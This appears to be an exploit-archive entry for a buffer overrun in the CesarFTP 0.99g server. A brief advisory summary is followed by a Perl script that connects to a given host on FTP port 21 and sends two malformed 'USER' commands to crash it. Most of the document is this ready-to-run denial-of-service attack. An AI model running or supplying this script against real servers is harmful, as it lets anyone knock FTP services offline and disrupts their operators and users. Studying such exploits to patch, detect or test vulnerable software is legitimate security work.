CesarFTP 0.99 g - Remote 'Username' Buffer Overrun

source: https://www.securityfocus.com/bid/7946/info

A buffer overrun vulnerability has been reported for CesarFTP. The problem is said to occur when multiple 'USER' commands are processed within a single session. When the issue is triggered, it may be possible to overwrite sensitive locations in memory. Although unconfirmed, it may be possible to exploit this issue to execute arbitrary code on a target system. 

#!/usr/local/bin/perl
# DOS remote exploit for CesarFtp 0.99g
#It will try to crash CesarFtp Server remotely:)


use Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
        print "Usage: $0 <host>\n";
        exit;
}


$string="x" x $length;

my($remote,$port,$iaddr,$paddr,$proto,$line);
$remote=$ARGV[0];
$port = "21";

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";
$login1="user /f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/f00/
        f00/\n";

#---------------------------------------------------
print "Sending evil request 1...\n";
print ($login1);
send(SOCK,$login1, 0) or die "Cannot send query: $!";
$login1="user !@#$%^&*()_\n";
print "Sending evil request 2...\n";
print ($login1);
send(SOCK,$login1, 0) or die "Cannot send query: $!";
print "Now if you are lucky the server will crash:)\n"

#End